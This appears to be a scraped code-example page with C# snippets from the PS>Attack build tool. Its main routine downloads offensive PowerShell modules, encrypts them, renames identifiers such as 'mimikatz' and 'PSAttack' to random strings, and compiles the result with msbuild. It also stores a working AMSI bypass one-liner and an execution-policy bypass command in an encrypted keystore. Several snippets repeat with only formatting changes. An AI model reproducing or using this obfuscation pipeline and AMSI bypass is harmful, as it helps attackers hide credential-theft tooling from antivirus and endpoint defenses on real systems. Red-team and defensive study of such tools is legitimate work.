예제 #1
1
        public static int BuildPSAttack(Attack attack, GeneratedStrings generatedStrings)
        {
            //DateTime now = DateTime.Now;
            //string buildDate = String.Format("{0:MMMM dd yyyy} at {0:hh:mm:ss tt}", now);
            //using (StreamWriter buildDateFile = new StreamWriter(Path.Combine(attack.resources_dir, "attackDate.txt")))
            //{
            //    buildDateFile.Write(buildDate);
            //}
            string dotNetDir = System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory();
            string msbuildPath = Path.Combine(dotNetDir, "msbuild.exe");
            if (File.Exists(msbuildPath))
            {
                Process msbuild = new Process();
                msbuild.StartInfo.FileName = msbuildPath;
                msbuild.StartInfo.Arguments = attack.build_args(Path.Combine(Strings.obfuscatedSourceDir, generatedStrings.Store["psaReplacement"] + ".sln"));
                msbuild.StartInfo.UseShellExecute = false;
                msbuild.StartInfo.RedirectStandardOutput = true;
                msbuild.StartInfo.RedirectStandardError = true;

                Console.WriteLine("Running build with this command: {0} {1}", msbuild.StartInfo.FileName, msbuild.StartInfo.Arguments);

                msbuild.Start();
                string output = msbuild.StandardOutput.ReadToEnd();
                Console.WriteLine(output);
                string err = msbuild.StandardError.ReadToEnd();
                Console.WriteLine(err);
                msbuild.WaitForExit();
                int exitCode = msbuild.ExitCode;
                msbuild.Close();
                return exitCode;
            }
            return 999;
        }
        public ObfuscationEngine(GeneratedStrings generatedStrings)
        {
            this.RandomizeText = false;
            this.rand = new Random();
            this.Rulesets = new List<Ruleset>();

            // Mimikatz Rules
            Ruleset mimikatz = new Ruleset { Name = "Mimikatz", Type="PowerShell", FileName = "invoke-mimikatz.ps1", Rules = new List<Rule>() };
            mimikatz.Rules.Add(new Rule { Name = "'-mimikatz' Replace", Type = "replace", Trigger = "-mimikatz", Action = "-#RANDOM" });
            mimikatz.Rules.Add(new Rule { Name = "' mimikatz' Replace", Type = "replace", Trigger = " mimikatz", Action = " #RANDOM" });

            // General Rules
            Ruleset general = new Ruleset { Name = "General", Type = "PowerShell", FileName = "#ALL", Rules = new List<Rule>() };
            general.Rules.Add(new Rule { Name = "Variable Radomization", Type = "ReplaceList", Trigger = @"(\$)[A-Za-z\d]+\b", Action = "$#RANDOM" });

            // C# Rules
            Ruleset psaSource = new Ruleset { Name = "PSAttack", Type = "SourceCode", FileName = "#ALL", Rules = new List<Rule>() };
            string psaReplace = PSABTUtils.RandomString(this.rand.Next(6,15), this.rand);
            generatedStrings.Store.Add("psaReplacement", psaReplace);
            string attackStateReplacement = PSABTUtils.RandomString(this.rand.Next(6, 15), this.rand);
            generatedStrings.Store.Add("attackStateReplacement", attackStateReplacement);
            string psparamReplacement = PSABTUtils.RandomString(this.rand.Next(6, 15), this.rand);
            generatedStrings.Store.Add("psparamReplacement", psparamReplacement);
            psaSource.Rules.Add(new Rule { Name = "'PSAttack' Replace", Type = "replace", Trigger = "PSAttack", Action = psaReplace });
            psaSource.Rules.Add(new Rule { Name = "'PS>Attack' Replace", Type = "replace", Trigger = "PS>Attack", Action = psaReplace });
            psaSource.Rules.Add(new Rule { Name = "'attackState' Replace", Type = "replace", Trigger = "attackState", Action = attackStateReplacement });
            psaSource.Rules.Add(new Rule { Name = "'psparam' Replace", Type = "replace", Trigger = "psparam", Action = psparamReplacement });
            psaSource.Rules.Add(new Rule { Name = "'psaLogos' Replace", Type = "replace", Trigger = "psaLogos", Action = PSABTUtils.RandomString(this.rand.Next(8, 14), this.rand) });
            //this.Rulesets.Add(mimikatz);
            //this.Rulesets.Add(general);
            this.Rulesets.Add(psaSource);
        }
예제 #3
0
        public static int BuildPSAttack(Attack attack, GeneratedStrings rulesStrings)
        {
            //DateTime now = DateTime.Now;
            //string buildDate = String.Format("{0:MMMM dd yyyy} at {0:hh:mm:ss tt}", now);
            //using (StreamWriter buildDateFile = new StreamWriter(Path.Combine(attack.resources_dir, "attackDate.txt")))
            //{
            //    buildDateFile.Write(buildDate);
            //}
            string dotNetDir   = System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory();
            string msbuildPath = Path.Combine(dotNetDir, "msbuild.exe");

            if (File.Exists(msbuildPath))
            {
                Process msbuild = new Process();
                msbuild.StartInfo.FileName               = msbuildPath;
                msbuild.StartInfo.Arguments              = attack.build_args(Path.Combine(Strings.obfuscatedSourceDir, rulesStrings.Store["PSAttack"] + ".sln"));
                msbuild.StartInfo.UseShellExecute        = false;
                msbuild.StartInfo.RedirectStandardOutput = true;
                msbuild.StartInfo.RedirectStandardError  = true;

                Console.WriteLine("Running build with this command: {0} {1}", msbuild.StartInfo.FileName, msbuild.StartInfo.Arguments);

                msbuild.Start();
                string output = msbuild.StandardOutput.ReadToEnd();
                Console.WriteLine(output);
                string err = msbuild.StandardError.ReadToEnd();
                Console.WriteLine(err);
                msbuild.WaitForExit();
                int exitCode = msbuild.ExitCode;
                msbuild.Close();
                return(exitCode);
            }
            return(999);
        }
예제 #4
0
 public static string GenerateKey(Attack attack, GeneratedStrings generatedStrings)
 {
     if (!(generatedStrings.Store.ContainsKey("encryptionKey")))
     {
         string key = RandomString(64);
         generatedStrings.Store.Add("encryptionKey", key);
     }
     return(generatedStrings.Store["encryptionKey"]);
 }
예제 #5
0
        public static void BuildConfigFile(Attack attack, GeneratedStrings generatedStrings)
        {
            attack.ClearConfigFile();
            PSAttackConfig psaConfig = new PSAttackConfig();
            psaConfig.Session = new Dictionary<string, object>();
            psaConfig.Session.Add("encryptionKey", generatedStrings.Store["encryptionKey"]);
            psaConfig.Session.Add("keyStoreFileName", generatedStrings.Store["keyStoreFileName"]);
            psaConfig.Initialize();

            var generatedCode = psaConfig.TransformText();
            File.WriteAllText(attack.config_file, generatedCode);
        }
예제 #6
0
        public static void BuildConfigFile(Attack attack, GeneratedStrings generatedStrings)
        {
            attack.ClearConfigFile();
            PSAttackConfig psaConfig = new PSAttackConfig();

            psaConfig.Session = new Dictionary <string, object>();
            psaConfig.Session.Add("encryptionKey", generatedStrings.Store["encryptionKey"]);
            psaConfig.Session.Add("keyStoreFileName", generatedStrings.Store["keyStoreFileName"]);
            psaConfig.Initialize();

            var generatedCode = psaConfig.TransformText();

            File.WriteAllText(attack.config_file, generatedCode);
        }
예제 #7
0
        public static void BuildCsproj(List<Module> modules, Attack attack, GeneratedStrings generatedStrings)
        {
            attack.ClearCsproj();
            List<string> files = new List<string>();
            foreach (Module module in modules)
            {
                files.Add(CryptoUtils.EncryptString(attack, module.name, generatedStrings));
            }
            PSAttackCSProj csproj = new PSAttackCSProj();
            csproj.Session = new Dictionary<string, object>();
            csproj.Session.Add("files", files);
            csproj.Session.Add("keyStoreFileName", generatedStrings.Store["keyStoreFileName"]);
            csproj.Initialize();

            var generatedCode = csproj.TransformText();
            File.WriteAllText(attack.csproj_file, generatedCode);
        }
예제 #8
0
        public static void BuildCsproj(List <Module> modules, Attack attack, GeneratedStrings generatedStrings)
        {
            attack.ClearCsproj();
            List <string> files = new List <string>();

            foreach (Module module in modules)
            {
                files.Add(CryptoUtils.EncryptString(attack, module.name, generatedStrings));
            }
            PSAttackCSProj csproj = new PSAttackCSProj();

            csproj.Session = new Dictionary <string, object>();
            csproj.Session.Add("files", files);
            csproj.Session.Add("keyStoreFileName", generatedStrings.Store["keyStoreFileName"]);
            csproj.Initialize();

            var generatedCode = csproj.TransformText();

            File.WriteAllText(attack.csproj_file, generatedCode);
        }
예제 #9
0
        public static string EncryptString(Attack attack, string text, GeneratedStrings generatedStrings)
        {
            string key = GenerateKey(attack, generatedStrings);

            byte[] keyBytes;
            keyBytes = Encoding.Unicode.GetBytes(key);

            Rfc2898DeriveBytes derivedKey = new Rfc2898DeriveBytes(key, keyBytes);

            RijndaelManaged rijndaelCSP = new RijndaelManaged();

            rijndaelCSP.Key = derivedKey.GetBytes(rijndaelCSP.KeySize / 8);
            rijndaelCSP.IV  = derivedKey.GetBytes(rijndaelCSP.BlockSize / 8);

            ICryptoTransform encryptor = rijndaelCSP.CreateEncryptor();

            byte[] inputbuffer  = Encoding.Unicode.GetBytes(text);
            byte[] outputBuffer = encryptor.TransformFinalBlock(inputbuffer, 0, inputbuffer.Length);
            return(Convert.ToBase64String(outputBuffer).Replace("/", "_"));
        }
예제 #10
0
        public static void EncryptFile(Attack attack, string inputFile, string outputFile, GeneratedStrings generatedStrings)
        {
            string key = GenerateKey(attack, generatedStrings);

            byte[] keyBytes;
            keyBytes = Encoding.Unicode.GetBytes(key);

            Rfc2898DeriveBytes derivedKey = new Rfc2898DeriveBytes(key, keyBytes);

            RijndaelManaged rijndaelCSP = new RijndaelManaged();

            rijndaelCSP.Key = derivedKey.GetBytes(rijndaelCSP.KeySize / 8);
            rijndaelCSP.IV  = derivedKey.GetBytes(rijndaelCSP.BlockSize / 8);

            ICryptoTransform encryptor = rijndaelCSP.CreateEncryptor();

            FileStream inputFileStream = new FileStream(inputFile, FileMode.Open, FileAccess.Read);

            byte[] inputFileData = new byte[(int)inputFileStream.Length];
            inputFileStream.Read(inputFileData, 0, (int)inputFileStream.Length);

            FileStream outputFileStream = new FileStream(outputFile, FileMode.Create, FileAccess.Write);

            CryptoStream encryptStream = new CryptoStream(outputFileStream, encryptor, CryptoStreamMode.Write);

            encryptStream.Write(inputFileData, 0, (int)inputFileStream.Length);
            encryptStream.FlushFinalBlock();

            rijndaelCSP.Clear();
            encryptStream.Close();
            inputFileStream.Close();
            outputFileStream.Close();
        }
        public string ProcessSource(Display display, string sourcePath, GeneratedStrings generatedStrings, Attack attack)
        {
            string originalFileName = Path.GetFileName(sourcePath);
            string readScript = File.ReadAllText(sourcePath);
            string obfuscatedSourcePath = sourcePath.Replace(attack.unzipped_dir, Strings.obfuscatedSourceDir);
            string fileStub = obfuscatedSourcePath.Replace(Strings.obfuscatedSourceDir, "");
            obfuscatedSourcePath = Path.Combine(Strings.obfuscatedSourceDir, fileStub.Replace("PSAttack", generatedStrings.Store["psaReplacement"]));
            obfuscatedSourcePath = obfuscatedSourcePath.Replace("AttackState", generatedStrings.Store["attackStateReplacement"]);
            obfuscatedSourcePath = obfuscatedSourcePath.Replace("PSParam", generatedStrings.Store["psparamReplacement"]);

            // Process Rules
            foreach (Ruleset ruleset in this.Rulesets)
            {
                if (ruleset.Type == "SourceCode")
                {
                    if (originalFileName.ToLower().Contains(ruleset.FileName.ToLower()) || ruleset.FileName == "#ALL")
                    {
                        FileInfo file = new System.IO.FileInfo(obfuscatedSourcePath);
                        file.Directory.Create();
                        if (!(sourcePath.Contains(generatedStrings.Store["keyStoreFileName"]) || (sourcePath.Contains("Modules"))))
                        {
                            foreach (Rule rule in ruleset.Rules)
                            {
                                display.updateMessage("Running Replace Rule '" + rule.Name + "'");
                                readScript = RuleProcessor(display, rule, readScript);
                            }
                            File.WriteAllText(obfuscatedSourcePath, readScript);
                        }
                        else
                        {
                            File.Copy(sourcePath, obfuscatedSourcePath, true);
                        }
                    }
                }

            }
            return obfuscatedSourcePath;
        }
예제 #12
0
        static void Main(string[] args)
        {
            // PRINT START MESSAGE
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine(Strings.psaStartMsg);
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine(Strings.psaWarningMsg);
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("\n Press any key to start the build process..");
            Console.ReadLine();
            Console.Clear();

            //PRINT LOGO
            //Console.ForegroundColor = ConsoleColor.DarkYellow;
            //Random random = new Random();
            //int psaLogoInt = random.Next(Strings.psabtLogos.Count);
            //Console.WriteLine(Strings.psabtLogos[psaLogoInt]);
            //Console.WriteLine("Version {0}\n", Strings.version);
            //Console.ForegroundColor = ConsoleColor.White;

            Display display = new Display();
            GeneratedStrings generatedStrings = new GeneratedStrings();
            Random random = new Random();

            // DELETE BUILD DIR
            display.updateStage("Initializing..");
            display.updateStatus("Clearing Build Dir: " + PSABTUtils.GetPSAttackBuildToolDir());
            Directory.Delete(PSABTUtils.GetPSAttackBuildToolDir(), true);

            //READ JSON FILE
            display.updateStage("Initializing..");
            display.updateStatus("Loading modules.json");
            StreamReader sr = new StreamReader("modules.json");
            string modulesJson = sr.ReadToEnd();
            MemoryStream memReader = new MemoryStream(Encoding.UTF8.GetBytes(modulesJson));
            List<Module> modules = PSABTUtils.GetModuleList(memReader);
            string workingDir = PSABTUtils.GetPSAttackBuildToolDir();

            //GET PS>ATTACK
            display.updateStage("Getting PS>Attack");
            display.updateStatus("Searching Github");
            Attack attack = PSABTUtils.GetPSAttack(new Uri(Strings.attackURL));
            display.updateStatus("Found Version: " + attack.tag_name);
            display.updateMessage("Downloading " + attack.zipball_url);
            attack.DownloadZip();
            display.updateMessage("Unzipping to: " + Strings.attackUnzipDir);
            attack.unzipped_dir = PSABTUtils.UnzipFile(Strings.attackZipPath);

            // PROCESS PS>ATTACK
            display.updateStage("Preparing PS>Attack Build");

            // CLEAR OUT BUNDLED MODULES
            display.updateStatus("Clearing modules at: " + attack.modules_dir);
            display.updateMessage("");
            attack.ClearModules();

            // CREATE DIRECTORY STRUCTURE

            if (!(Directory.Exists(Strings.moduleSrcDir)))
            {
                display.updateStatus("Creating Modules Source Directory: " + Strings.moduleSrcDir);
                Directory.CreateDirectory(Strings.moduleSrcDir);
            }

            if (!(Directory.Exists(Strings.obfuscatedScriptsDir)))
            {
                display.updateStatus("Creating Obfuscated Modules Directory: " + Strings.obfuscatedScriptsDir);
                Directory.CreateDirectory(Strings.obfuscatedScriptsDir);
            }

            if (!(Directory.Exists(Strings.obfuscatedSourceDir)))
            {
                display.updateStatus("Creating Obfuscated Source Directory: " + Strings.obfuscatedSourceDir);
                Directory.CreateDirectory(Strings.obfuscatedSourceDir);
            }

            // CLEAR OUT OBFUSCATED SCRIPTS DIR
            DirectoryInfo dirInfo = new DirectoryInfo(Strings.obfuscatedScriptsDir);
            foreach (FileInfo file in dirInfo.GetFiles())
            {
                display.updateStatus("Clearing Obfuscated Modules Directory");
                display.updateMessage("Deleting: " + file.Name);
                file.Delete();
            }

            // MAKE NEW MODULES
            display.updateStage("Processing Modules");
            display.updateStatus("");
            display.updateMessage("");
            foreach (Module module in modules)
            {
                string dest = Path.Combine(Strings.moduleSrcDir, (module.name + ".ps1"));
                string encOutfile = attack.modules_dir + CryptoUtils.EncryptString(attack, module.name, generatedStrings);
                try
                {
                    display.updateStatus("Processing " + module.name);
                    display.updateMessage("Downloading from " + module.url);
                    PSABTUtils.DownloadFile(module.url, dest);
                    display.updateMessage("Encrypting " + module.name);
                    CryptoUtils.EncryptFile(attack, dest, encOutfile, generatedStrings);
                }
                catch (Exception e)
                {
                    ConsoleColor origColor = Console.ForegroundColor;
                    Console.ForegroundColor = ConsoleColor.Red;
                    display.updateStatus("ERROR!!");
                    display.updateMessage("There was an error processing " + module.name + " This will probably break the build.");
                    display.updateSecondaryMessage("Error message: " + e.Message + "\n\n Press enter to continue building PS>Attack..");
                    Console.ReadLine();
                    Console.ForegroundColor = origColor;

                }
            }

            // PLACE MATTS AMSI BYPASS IN KEYSTORE
            generatedStrings.Store.Add("amsiBypass", "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)");
            generatedStrings.Store.Add("setExecutionPolicy", "Set-ExecutionPolicy Bypass -Scope Process -Force");
            generatedStrings.Store.Add("buildDate", DateTime.Now.ToString());

            // WRITE KEYS TO CSV
            DataContractJsonSerializer jsonSerializer = new DataContractJsonSerializer(typeof(Dictionary<string, string>));
            string keyStoreFileName = PSABTUtils.RandomString(64, new Random());
            generatedStrings.Store.Add("keyStoreFileName", keyStoreFileName);
            using (StreamWriter keystoreCSV = new StreamWriter(Path.Combine(PSABTUtils.GetPSAttackBuildToolDir(), "keystore.csv")))
            {
                foreach (KeyValuePair<string, string> entry in generatedStrings.Store)
                {
                    keystoreCSV.WriteLine("{0}|{1}", entry.Key, entry.Value);
                }
            }

            // Encrypt keystore
            CryptoUtils.EncryptFile(attack, Path.Combine(PSABTUtils.GetPSAttackBuildToolDir(), "keystore.csv"), Path.Combine(attack.resources_dir, keyStoreFileName), generatedStrings);

            // GENERATE CSPROJ FILE
            display.updateStage("Building PS>Attack");
            display.updateStatus("Generating PSAttack.csproj at " + attack.csproj_file);
            display.updateMessage("");
            PSABTUtils.BuildCsproj(modules, attack, generatedStrings);

            // GENERATE SETTINGS FILE
            display.updateStage("Building PS>Attack");
            display.updateStatus("Generating Config File at " + attack.config_file);
            display.updateMessage("");
            PSABTUtils.BuildConfigFile(attack, generatedStrings);

            // GENERATE SETTINGS DESIGNER FILE
            //display.updateStage("Building PS>Attack");
            //display.updateStatus("Generating Settings Designer File at " + attack.config_file);
            //display.updateMessage("");
            //PSABTUtils.BuildSettingsDesignerFile(attack, generatedStrings);

            // OBFUSCATE
            ObfuscationEngine.ObfuscationEngine engine = new ObfuscationEngine.ObfuscationEngine(generatedStrings);
            string[] files = Directory.GetFiles(Strings.attackUnzipDir, "*.*", SearchOption.AllDirectories);
            foreach (string file in files)
            {
                engine.ProcessSource(display, file, generatedStrings, attack);
            }

            // BUILD PS>ATTACK
            Timer timer = new Timer(1200);
            display.updateStatus("Kicking off build");
            display.updateMessage("3..");
            display.updateMessage("3.. 2..");
            display.updateMessage("3.. 2.. 1..\n\n\n");
            Console.ForegroundColor = ConsoleColor.Gray;
            int exitCode = PSABTUtils.BuildPSAttack(attack, generatedStrings);
            if (exitCode == 0)
            {
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine(Strings.psaEndSuccess, Strings.attackBuildDir);
                Console.ReadLine();
                Process.Start(Strings.attackBuildDir);
            }
            else if (exitCode == 999)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine(Strings.psaEndNoMSBuild, System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory());
                Console.ReadLine();
                Environment.Exit(exitCode);
            }
            else
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine(Strings.psaEndFailure);
                Console.ReadLine();
                Environment.Exit(exitCode);

            }
        }